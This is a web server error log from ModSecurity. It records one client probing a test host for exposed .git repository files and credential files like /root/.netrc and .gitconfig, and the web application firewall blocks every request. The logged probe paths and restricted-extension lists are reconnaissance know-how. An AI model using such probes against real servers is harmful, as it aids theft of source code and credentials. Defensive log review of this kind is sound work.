[Thu Mar 12 21:45:18.145643 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIwAAAAM"]
[Thu Mar 12 21:45:18.145840 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIwAAAAM"]
[Thu Mar 12 21:45:18.145996 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIwAAAAM"]
[Thu Mar 12 21:45:18.169658 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abMl3vv0eBlLRFPxh3wEJAAAAAM"]
[Thu Mar 12 21:45:18.169864 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abMl3vv0eBlLRFPxh3wEJAAAAAM"]
[Thu Mar 12 21:45:18.170022 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abMl3vv0eBlLRFPxh3wEJAAAAAM"]
[Thu Mar 12 21:45:18.191914 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abMl3vv0eBlLRFPxh3wEJQAAAAM"]
[Thu Mar 12 21:45:18.192165 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abMl3vv0eBlLRFPxh3wEJQAAAAM"]
[Thu Mar 12 21:45:18.192351 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abMl3vv0eBlLRFPxh3wEJQAAAAM"]
[Thu Mar 12 21:45:18.192494 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abMl3vv0eBlLRFPxh3wEJQAAAAM"]
[Thu Mar 12 21:45:18.214656 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abMl3vv0eBlLRFPxh3wEJgAAAAM"]
[Thu Mar 12 21:45:18.214895 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abMl3vv0eBlLRFPxh3wEJgAAAAM"]
[Thu Mar 12 21:45:18.215097 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abMl3vv0eBlLRFPxh3wEJgAAAAM"]
[Thu Mar 12 21:45:18.215254 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abMl3vv0eBlLRFPxh3wEJgAAAAM"]
[Thu Mar 12 21:45:18.237386 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abMl3vv0eBlLRFPxh3wEJwAAAAM"]
[Thu Mar 12 21:45:18.237593 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abMl3vv0eBlLRFPxh3wEJwAAAAM"]
[Thu Mar 12 21:45:18.237732 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abMl3vv0eBlLRFPxh3wEJwAAAAM"]
[Thu Mar 12 21:45:18.259750 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3vv0eBlLRFPxh3wEKAAAAAM"]
[Thu Mar 12 21:45:18.259954 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3vv0eBlLRFPxh3wEKAAAAAM"]
[Thu Mar 12 21:45:18.260090 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3vv0eBlLRFPxh3wEKAAAAAM"]
[Thu Mar 12 21:45:18.305103 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /root/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEKgAAAAM"]
[Thu Mar 12 21:45:18.305312 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEKgAAAAM"]
[Thu Mar 12 21:45:18.305456 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEKgAAAAM"]
[Thu Mar 12 21:45:18.327580 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /root/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEKwAAAAM"]
[Thu Mar 12 21:45:18.327775 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEKwAAAAM"]
[Thu Mar 12 21:45:18.327901 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEKwAAAAM"]
[Thu Mar 12 21:45:18.373027 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /home/*/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wELQAAAAM"]
[Thu Mar 12 21:45:18.373236 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wELQAAAAM"]
[Thu Mar 12 21:45:18.373375 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wELQAAAAM"]
[Thu Mar 12 21:45:18.395428 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /home/*/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wELgAAAAM"]
[Thu Mar 12 21:45:18.395628 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wELgAAAAM"]
[Thu Mar 12 21:45:18.395763 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wELgAAAAM"]
[Thu Mar 12 21:45:18.440627 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /~/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEMAAAAAM"]
[Thu Mar 12 21:45:18.440830 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEMAAAAAM"]
[Thu Mar 12 21:45:18.440958 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abMl3vv0eBlLRFPxh3wEMAAAAAM"]
[Thu Mar 12 21:45:18.463027 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /~/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEMQAAAAM"]
[Thu Mar 12 21:45:18.463215 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEMQAAAAM"]
[Thu Mar 12 21:45:18.463340 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abMl3vv0eBlLRFPxh3wEMQAAAAM"]
[Thu Mar 12 21:45:18.484931 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
